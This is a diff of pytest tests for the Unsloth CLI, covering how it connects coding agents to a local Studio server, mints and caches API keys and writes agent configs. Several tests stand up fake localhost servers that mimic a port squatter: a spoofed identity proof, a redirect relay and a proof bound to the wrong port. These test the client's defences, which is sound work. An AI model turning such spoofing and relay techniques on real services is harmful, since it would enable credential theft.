+        inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888"
+    )
+    with pytest.raises(typer.Exit):
+        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
+
+
+def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch):
+    # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback
+    # server can't be verified, fall back to a local load rather than erroring.
+    import unsloth_cli._inference as inference
+
+    monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False)
+    monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888")
+    monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False)
+    assert (
+        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
+        is None
+    )
+
+
+def test_connect_unverified_loopback_without_cached_key_refuses_to_mint(
+    fake_studio, tmp_path, monkeypatch
+):
+    # With no saved key, the next step would auto-mint; an unverified loopback
+    # server (port squatter) must be refused, with nothing sent.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "--api-key" in result.output
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
+
+
+def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch):
+    # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match)
+    # replays on keyless runs without the handshake, scoped to its own base.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}))
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # reused, not minted
+
+
+def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch):
+    # A "minted" key is NOT replayed to an unverified loopback server: minting and
+    # minted-key replay both sit behind the handshake, so a squatter can't grab it.
+    cache = tmp_path / "agent_api_key.json"
+    cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}}))
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "--api-key" in result.output
+    assert not any(c[1].endswith("/v1/models") for c in fake_studio)  # minted key never sent
+
+
+def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch):
+    # An explicit key is the user's deliberate choice, so it does not require
+    # the automatic identity handshake.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: False)
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+
+
+def _serve_identity(proof_for):
+    """Start a localhost HTTP server answering /api/auth/identity with
+    proof_for(nonce_bytes). Returns (base_url, shutdown)."""
+    import base64
+    import threading
+    from http.server import BaseHTTPRequestHandler, HTTPServer
+    from urllib.parse import parse_qs, urlparse
+
+    class Handler(BaseHTTPRequestHandler):
+        def do_GET(self):
+            parsed = urlparse(self.path)
+            if parsed.path != "/api/auth/identity":
+                self.send_response(404)
+                self.end_headers()
+                return
+            nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0])
+            host, port = self.server.server_address[0], self.server.server_address[1]
+            body = json.dumps({"proof": proof_for(nonce, host, port)}).encode()
+            self.send_response(200)
+            self.send_header("Content-Type", "application/json")
+            self.end_headers()
+            self.wfile.write(body)
+
+        def log_message(self, *a):
+            pass
+
+    server = HTTPServer(("127.0.0.1", 0), Handler)
+    threading.Thread(target = server.serve_forever, daemon = True).start()
+    base = f"http://127.0.0.1:{server.server_address[1]}"
+    return base, server.shutdown
+
+
+def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch):
+    # Real crypto end to end: verify_studio_identity reads the install secret from
+    # an isolated DB; a "good" server proves the same secret, a spoofing one can't.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:  # backend not importable here (e.g. missing deps)
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    good = lambda nonce, host, port: storage.compute_identity_proof(
+        nonce, host, port
+    )  # real secret
+    bad = lambda nonce, host, port: "00" * 32  # spoofer without the secret
+    base_ok, stop_ok = _serve_identity(good)
+    base_bad, stop_bad = _serve_identity(bad)
+    try:
+        assert inference.verify_studio_identity(base_ok) is True
+        assert inference.verify_studio_identity(base_bad) is False
+    finally:
+        stop_ok()
+        stop_bad()
+
+
+def _serve_redirect(target):
+    """Start a localhost server that 302-redirects every GET to target+path."""
+    import threading
+    from http.server import BaseHTTPRequestHandler, HTTPServer
+
+    class Handler(BaseHTTPRequestHandler):
+        def do_GET(self):
+            self.send_response(302)
+            self.send_header("Location", target + self.path)
+            self.end_headers()
+
+        def log_message(self, *a):
+            pass
+
+    server = HTTPServer(("127.0.0.1", 0), Handler)
+    threading.Thread(target = server.serve_forever, daemon = True).start()
+    base = f"http://127.0.0.1:{server.server_address[1]}"
+    return base, server.shutdown
+
+
+def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch):
+    # A squatter could 302 /api/auth/identity to the real Studio and relay its
+    # proof; redirects must be refused so the squatter's base isn't accepted.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    real_base, stop_real = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
+    )
+    squatter_base, stop_squatter = _serve_redirect(real_base)
+    try:
+        assert inference.verify_studio_identity(real_base) is True  # direct: ok
+        assert inference.verify_studio_identity(squatter_base) is False  # relayed: refused
+    finally:
+        stop_real()
+        stop_squatter()
+
+
+def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch):
+    # A squatter that proxies the nonce to the real Studio on another port gets a
+    # proof bound to *that* port; the client expects one bound to the port it
+    # connected to, so the relayed proof is rejected.
+    import unsloth_cli._inference as inference
+
+    inference.ensure_studio_backend_path()
+    try:
+        from studio.backend.auth import storage
+    except Exception as exc:
+        pytest.skip(f"studio backend not importable: {exc}")
+
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_identity_secret_cache", None)
+
+    real_base, stop_real = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
+    )
+    real_port = int(real_base.rsplit(":", 1)[1])
+    # The squatter answers on its own port but returns the proof for the real port.
+    squatter_base, stop_squatter = _serve_identity(
+        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port)
+    )
+    try:
+        assert inference.verify_studio_identity(real_base) is True
+        assert inference.verify_studio_identity(squatter_base) is False
+    finally:
+        stop_real()
+        stop_squatter()
+
+
+@pytest.mark.parametrize(
+    "url, loopback",
+    [
+        ("http://127.0.0.1:8888", True),
+        ("http://localhost:8888", True),
+        ("http://[::1]:8888", True),
+        ("http://127.0.0.5:9001", True),  # SSH tunnels can land anywhere in 127/8
+        ("http://0.0.0.0:8888", False),
+        ("http://10.0.0.5:8888", False),
+        ("http://studio.evil.example:8888", False),
+        ("https://studio.example.com", False),
+    ],
+)
+def test_is_loopback_url(url, loopback):
+    assert start.is_loopback_url(url) is loopback
+
+
+def test_connect_no_studio_errors(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+
+
+@pytest.fixture(autouse = True)
+def _reset_auto_served():
+    # Never let a test leave a fake server in the module slot (an atexit backstop would
+    # otherwise try to signal it at interpreter shutdown).
+    yield
+    start._auto_served_server = None
+
+
+def test_start_studio_server_builds_command_and_waits(monkeypatch):
+    captured = {}
+
+    class FakePopen:
+        def __init__(self, command, **kwargs):
+            captured["command"] = command
+            captured["kwargs"] = kwargs
+            self.pid = 4321
+
+        def poll(self):
+            return None
+
+    monkeypatch.setattr(start.subprocess, "Popen", FakePopen)
+    monkeypatch.setattr(start, "_studio_healthy", lambda base, timeout = 3.0: True)
+    monkeypatch.setattr(start, "_log_tail", lambda path, lines = 20: "API Key: sk-unsloth-abc123")
+    monkeypatch.setattr(start.time, "sleep", lambda _s: None)
+
+    server = start._start_studio_server(
+        "http://127.0.0.1:8888",
+        "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL",
+        start.LoadOptions(
+            gguf_variant = "UD-Q4_K_XL", max_seq_length = 8192, load_in_4bit = True, tensor_parallel = True
+        ),
+    )
+    cmd = captured["command"]
+    assert cmd[1] == "run"
+    assert "--disable-tools" in cmd and "--no-cloudflare" in cmd
+    assert cmd[cmd.index("--model") + 1] == "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL"
+    assert cmd[cmd.index("--gguf-variant") + 1] == "UD-Q4_K_XL"
+    assert cmd[cmd.index("--context-length") + 1] == "8192"
+    assert "--tensor-parallel" in cmd
+    assert cmd[cmd.index("-p") + 1] == "8888"
+    assert start.LoadOptions().load_in_4bit is True and "--no-load-in-4bit" not in cmd
+    assert captured["kwargs"].get("start_new_session") is True  # own process group
+    assert server.pid == 4321
+
+
+def test_auto_serves_when_no_server_then_tears_down(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started.update(base = base, model = model, load = load)
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(
+        start, "_shutdown_server", lambda server: started.__setitem__("down", server)
+    )
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF:UD-Q4_K_XL"]
+    )
+    assert result.exit_code == 0, result.output
+    # The `:QUANT` suffix is split off into the gguf_variant so `unsloth run` gets a valid
+    # repo id plus `--gguf-variant`, mirroring how `unsloth run` accepts either form.
+    assert started["model"] == "unsloth/Qwen3-1.7B-GGUF"
+    assert started["load"].gguf_variant == "UD-Q4_K_XL"
+    assert started["base"] == BASE
+    # Torn down after the agent session ended.
+    assert started.get("down") is fake
+
+
+def test_codex_preflight_failure_tears_down_auto_served(fake_studio, monkeypatch):
+    # The Codex GGUF preflight runs after _connect may have auto-started a server but
+    # before _run's teardown finally, so a preflight rejection must not leave the server
+    # holding the port/GPU (waiting on the atexit backstop).
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started.update(base = base, model = model)
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(
+        start, "_shutdown_server", lambda server: started.__setitem__("down", server)
+    )
+    inner = start._http_json
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": False, "model_identifier": "transformers-model"}
+        return inner(method, url, token, payload, timeout, error)
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+    result = CliRunner().invoke(
+        start.start_app, ["codex", "--model", "unsloth/Qwen3-1.7B", "--launch"]
+    )
+    assert result.exit_code != 0, result.output
+    assert "GGUF" in result.output
+    # Torn down at the point the preflight rejected the model, not only via atexit.
+    assert started.get("down") is fake
+
+
+def test_no_serve_preserves_error(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-serve"]
+    )
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_no_launch_never_serves(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {"called": False}
+    monkeypatch.setattr(
+        start, "_start_studio_server", lambda *a, **k: started.__setitem__("called", True)
+    )
+    result = CliRunner().invoke(
+        start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF", "--no-launch"]
+    )
+    assert result.exit_code == 1
+    assert "No running Studio server" in result.output
+    assert started["called"] is False
+
+
+def test_no_server_no_model_hints_model_flag(fake_studio, monkeypatch):
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    result = CliRunner().invoke(start.start_app, ["claude"])
+    assert result.exit_code == 1
+    assert "--model" in result.output
+
+
+@pytest.mark.parametrize(
+    "base, expected",
+    [
+        ("http://127.0.0.1", "http://127.0.0.1:8888"),  # portless -> unsloth run's :8888
+        ("http://127.0.0.1:8888", "http://127.0.0.1:8888"),  # explicit port kept
+        ("http://127.0.0.1:9000", "http://127.0.0.1:9000"),
+        ("http://localhost", "http://localhost:8888"),
+        ("http://[::1]", "http://[::1]:8888"),  # IPv6 literal stays bracketed
+        ("http://[::1]:8888", "http://[::1]:8888"),
+        # Paths are stripped: unsloth run serves at the root, so /studio would make the
+        # health poll hit /studio/api/health (404) until the startup timeout.
+        ("http://127.0.0.1:8888/studio", "http://127.0.0.1:8888"),
+        ("http://127.0.0.1/studio", "http://127.0.0.1:8888"),
+    ],
+)
+def test_effective_base(base, expected):
+    assert start._effective_base(base) == expected
+
+
+def test_auto_serve_normalizes_portless_url(fake_studio, monkeypatch):
+    # A portless UNSLOTH_STUDIO_URL must launch AND poll :8888 (what unsloth run binds),
+    # not port 80, or readiness never matches and we hit the startup timeout.
+    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://127.0.0.1")
+    monkeypatch.setattr(start, "find_studio_server", lambda: None)
+    started = {}
+    fake = SimpleNamespace(pid = 999, poll = lambda: None)
+
+    def fake_start(base, model, load):
+        started["base"] = base
+        start._auto_served_server = fake
+        return fake
+
+    monkeypatch.setattr(start, "_start_studio_server", fake_start)
+    monkeypatch.setattr(start, "_shutdown_server", lambda server: None)
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start.subprocess, "run", lambda command, env: SimpleNamespace(returncode = 0))
+
+    result = CliRunner().invoke(start.start_app, ["claude", "--model", "unsloth/Qwen3-1.7B-GGUF"])
+    assert result.exit_code == 0, result.output
+    assert started["base"] == "http://127.0.0.1:8888"
+
+
+def test_connect_explicit_api_key_skips_mint(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app,
+        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
+    )
+    assert result.exit_code == 0, result.output
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
+    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)
+
+
+# ── OpenClaw (Anthropic /v1/messages) ────────────────────────────────
+
+
+def test_write_openclaw_config_fresh(tmp_path):
+    path = tmp_path / "openclaw.json"
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["models"]["providers"]["unsloth"]
+    assert provider["baseUrl"] == f"{BASE}/v1"
+    assert provider["apiKey"] == "sk-unsloth-abc"
+    assert provider["api"] == "openai-completions"
+    assert provider["models"] == [
+        {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]}
+    ]
+    # The default model must be pinned or OpenClaw has nothing active.
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["agents"]["defaults"]["workspace"] == str(tmp_path / "workspace")
+    assert (tmp_path / "workspace").is_dir()
+    assert config["gateway"]["mode"] == "local"
+    assert config["gateway"]["auth"]["mode"] == "none"  # unauth loopback gateway
+    if os.name != "nt":  # the file holds an API key
+        assert path.stat().st_mode & 0o777 == 0o600
+
+
+def test_write_openclaw_config_clears_per_agent_path_overrides(tmp_path):
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps(
+            {
+                "agents": {
+                    "defaults": {"workspace": "/old/default"},
+                    "list": [
+                        {
+                            "id": "main",
+                            "default": True,
+                            "workspace": "/old/main-workspace",
+                            "agentDir": "/old/main-agent",
+                            "model": "keep/me",
+                        },
+                        {
+                            "id": "reviewer",
+                            "workspace": "/old/reviewer-workspace",
+                            "agentDir": "/old/reviewer-agent",
+                        },
+                    ],
+                }
+            }
+        )
+    )
+
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+
+    agents = json.loads(path.read_text())["agents"]
+    assert agents["defaults"]["workspace"] == str(tmp_path / "workspace")
+    assert agents["list"] == [
+        {"id": "main", "default": True, "model": "keep/me"},
+        {"id": "reviewer"},
+    ]
+
+
+def test_write_openclaw_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / "openclaw.json"
+    path.write_text(
+        json.dumps(
+            {
+                "theme": "dark",
+                "agents": {"defaults": {"temperature": 0.5}},
+                "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}},
+            }
+        )
+    )
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["theme"] == "dark"
+    assert config["agents"]["defaults"]["temperature"] == 0.5  # other agent defaults kept
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["models"]["mode"] == "replace"  # user's mode is left as-is
+    assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x"
+    assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_write_openclaw_config_corrupt_left_alone(tmp_path, capsys):
+    path = tmp_path / "openclaw.json"
+    path.write_text("{not json")
+    start.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == "{not json"
+    assert "couldn't parse" in capsys.readouterr().err
+
+
+def test_connect_openclaw_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "openclaw" in result.output
+    config_path = tmp_path / "agents" / "openclaw" / "openclaw.json"
+    # Config + state are scoped to the session dir, not the user's ~/.openclaw.
+    _assert_env_set(result.output, "OPENCLAW_CONFIG_PATH", str(config_path))
+    _assert_env_set(result.output, "OPENCLAW_STATE_DIR", str(tmp_path / "agents" / "openclaw"))
+    config = json.loads(config_path.read_text())
+    assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
+    assert config["agents"]["defaults"]["workspace"] == str(
+        tmp_path / "agents" / "openclaw" / "workspace"
+    )
+    assert _launch_command(result.output) == ["openclaw", "tui", "--local"]
+    # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+@pytest.mark.skipif(os.name == "nt", reason = "WSL scenario")
+def test_connect_openclaw_wsl_windows_shim_translates_workspace(fake_studio, tmp_path, monkeypatch):
+    windows_workspace = r"\\wsl.localhost\Ubuntu\tmp\openclaw\workspace"
+    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
+    monkeypatch.setattr(
+        start.shutil, "which", lambda _: "/mnt/c/Users/x/AppData/Roaming/npm/openclaw"
+    )
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *args, **kwargs: windows_workspace)
+
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch"])
+
+    assert result.exit_code == 0, result.output
+    config_path = tmp_path / "agents" / "openclaw" / "openclaw.json"
+    config = json.loads(config_path.read_text())
+    assert config["agents"]["defaults"]["workspace"] == windows_workspace
+    assert (config_path.parent / "workspace").is_dir()
+
+
+def test_connect_openclaw_no_launch_keeps_explicit_subcommand(fake_studio):
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch", "crestodian"])
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "crestodian"]
+
+
+def test_connect_openclaw_no_launch_passes_global_flags_through(fake_studio):
+    # OpenClaw globals (openclaw [--dev] [--profile <name>] <command>) precede the
+    # command, and tui does not accept them, so any passthrough args must be forwarded
+    # verbatim rather than rewritten into `openclaw tui --local <globals>`.
+    result = CliRunner().invoke(start.start_app, ["openclaw", "--no-launch", "--profile", "test"])
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "--profile", "test"]
+
+
+def test_connect_openclaw_no_launch_keeps_explicit_tui(fake_studio):
+    result = CliRunner().invoke(
+        start.start_app, ["openclaw", "--no-launch", "tui", "--message", "hi"]
+    )
+    assert result.exit_code == 0, result.output
+    assert _launch_command(result.output) == ["openclaw", "tui", "--message", "hi"]
+
+
+# ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
+
+
+def test_write_opencode_config_fresh(tmp_path):
+    path = tmp_path / "opencode.json"
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    provider = config["provider"][start._OPENCODE_PROVIDER]
+    assert provider["npm"] == "@ai-sdk/openai-compatible"
+    assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
+    # Context limit must be declared, or OpenCode treats it as 0 and disables compaction.
+    assert provider["models"] == {
+        MODEL["id"]: {"name": MODEL["id"], "limit": {"context": 131072, "output": 8192}}
+    }
+    assert config["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # The overlay never writes disabled_providers; the dedicated provider id is one a
+    # user's disable list would not target, so nothing needs re-enabling.
+    assert "disabled_providers" not in config
+    # Compaction buffer scaled to ~10% of the window (compact near 90%).
+    assert config["compaction"] == {"auto": True, "reserved": 131072 // 10}
+
+
+def test_write_opencode_config_preserves_and_idempotent(tmp_path):
+    path = tmp_path / "opencode.json"
+    path.write_text(
+        json.dumps(
+            {
+                "theme": "tokyonight",
+                "disabled_providers": ["ollama", "unsloth"],
+                "provider": {"anthropic": {"name": "Anthropic"}},
+            }
+        )
+    )
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["theme"] == "tokyonight"
+    # The overlay no longer edits disabled_providers; re-enabling unsloth is done in
+    # the inline layer, so an existing list here is preserved untouched.
+    assert config["disabled_providers"] == ["ollama", "unsloth"]
+    assert config["provider"]["anthropic"]["name"] == "Anthropic"
+    assert config["provider"][start._OPENCODE_PROVIDER]["options"]["baseURL"] == f"{BASE}/v1"
+    before = path.read_text()
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    assert path.read_text() == before
+
+
+def test_write_opencode_config_keeps_foreign_disabled_providers(tmp_path):
+    # A user who disabled other providers (but not unsloth) must keep them disabled:
+    # the overlay must not rewrite disabled_providers, or those providers get silently
+    # re-enabled for the session.
+    path = tmp_path / "opencode.json"
+    path.write_text(json.dumps({"disabled_providers": ["openai", "gemini"]}))
+    start.write_opencode_config(BASE, "sk-unsloth-abc", MODEL, path)
+    config = json.loads(path.read_text())
+    assert config["disabled_providers"] == ["openai", "gemini"]
+
+
+def _opencode_inline_config(output: str) -> dict:
+    # --no-launch prints OPENCODE_CONFIG_CONTENT as a POSIX `export NAME=<shell-quoted>`
+    # line on Unix/WSL and a PowerShell `$env:NAME = "<escaped>"` line on native Windows;
+    # parse whichever the host emitted so the opencode tests are shell-agnostic.
+    name = "OPENCODE_CONFIG_CONTENT"
+    for raw in output.splitlines():
+        line = raw.strip()
+        if line.startswith(f"export {name}="):
+            return json.loads(shlex.split(line.removeprefix(f"export {name}="))[0])
+        prefix = f'$env:{name} = "'
+        if line.startswith(prefix) and line.endswith('"'):
+            escaped = line[len(prefix) : -1]
+            # Reverse _print_env's PowerShell escaping (backtick is the escape char).
+            value = escaped.replace("`$", "$").replace('`"', '"').replace("``", "`")
+            return json.loads(value)
+    raise AssertionError(f"{name} not found in:\n{output}")
+
+
+def test_opencode_inline_scopes_session_to_studio_provider(fake_studio):
+    # opencode filters even config-defined providers through enabled/disabled_providers,
+    # and a model pin does not bypass that gate. The inline overlay (session-only, highest
+    # layer, arrays replace) allowlists our provider and clears the denylist so the Studio
+    # model always loads regardless of the user's config, without reading or editing it.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    inline = _opencode_inline_config(result.output)
+    assert inline["enabled_providers"] == [start._OPENCODE_PROVIDER]
+    assert inline["disabled_providers"] == []
+    assert inline["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # small_model stays on the enabled provider too, so lightweight tasks do not resolve a
+    # filtered provider mid-session.
+    assert inline["small_model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+
+
+def test_opencode_passthrough_flags_omit_model_flag(fake_studio):
+    # Any passthrough (top-level flags that may precede a subcommand, or a subcommand)
+    # is left untouched; --model is not injected. The model is pinned by the inline
+    # OPENCODE_CONFIG_CONTENT (highest layer) instead, so it is still forced.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "--dir", "repo"])
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command == ["opencode", "--dir", "repo"]
+    assert "--model" not in command
+    assert (
+        _opencode_inline_config(result.output)["model"]
+        == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    )
+
+
+def test_opencode_passthrough_subcommand_omits_model_flag(fake_studio):
+    # A passthrough subcommand (e.g. `serve`) takes the model from the pinned config;
+    # inserting --model before it would break opencode's arg parsing.
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch", "serve"])
+    assert result.exit_code == 0, result.output
+    command = _launch_command(result.output)
+    assert command[0] == "opencode"
+    assert command[1] == "serve"
+    assert "--model" not in command
+
+
+def test_connect_opencode_no_launch(fake_studio, tmp_path):
+    result = CliRunner().invoke(start.start_app, ["opencode", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    assert "opencode" in result.output
+    config_path = tmp_path / "agents" / "opencode" / "opencode.json"
+    # OPENCODE_CONFIG overlay points at the session file, not the user's global config.
+    _assert_env_set(result.output, "OPENCODE_CONFIG", str(config_path))
+    inline_config = _opencode_inline_config(result.output)
+    config = json.loads(config_path.read_text())
+    provider = config["provider"][start._OPENCODE_PROVIDER]
+    assert provider["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
+    assert config["model"] == f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"
+    # The session config file (a throwaway overlay, not the user's real config) does not
+    # carry provider filters; the session scoping rides in the inline env layer only.
+    assert "disabled_providers" not in config
+    assert "enabled_providers" not in config
+    assert inline_config == {
+        "model": f"{start._OPENCODE_PROVIDER}/{MODEL['id']}",
+        "small_model": f"{start._OPENCODE_PROVIDER}/{MODEL['id']}",
+        "enabled_providers": [start._OPENCODE_PROVIDER],
+        "disabled_providers": [],
+    }
+    # --no-launch prints an append-safe base command (no --model before a subcommand a
+    # driver may append); the model is forced by the inline pin above.
+    assert _launch_command(result.output) == ["opencode"]
+    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
+
+
+# ── Hermes (OpenAI /v1/chat/completions, key via env) ────────────────
+
+
+@pytest.fixture()
+def hermes_config(tmp_path):
+    return tmp_path / "config.yaml"
+
+
+def test_write_hermes_config_fresh(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    start.write_hermes_config(BASE, MODEL, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
+    # Hermes only honors the key for a *named* custom provider, so the endpoint
+    # is registered under providers.* and model.provider points at it.
+    assert config["model"]["provider"] == "custom:unsloth"
+    assert config["model"]["default"] == MODEL["id"]
+    assert config["model"]["api_mode"] == "openai"
+    # Pin the real context window (top-level override) and compact at 90% of it.
+    assert config["model"]["context_length"] == MODEL["context_length"]
+    assert config["compression"] == {"enabled": True, "threshold": 0.9}
+    # Windows at or above Hermes' floor need no auxiliary compression override.
+    assert "auxiliary" not in config
+    provider = config["providers"]["unsloth"]
+    assert provider["base_url"] == f"{BASE}/v1"
+    assert provider["api_mode"] == "openai"
+    assert provider["key_env"] == "UNSLOTH_API_KEY"
+    # The key is resolved from the launch env, never written to disk.
+    assert "sk-unsloth" not in hermes_config.read_text()
+
+
+def test_write_hermes_config_small_window_claims_floor(hermes_config):
+    yaml = pytest.importorskip("yaml")
+    small = {"id": "unsloth/Qwen3-1.7B-GGUF", "context_length": 40960}
+    start.write_hermes_config(BASE, small, hermes_config)
+    config = yaml.safe_load(hermes_config.read_text())
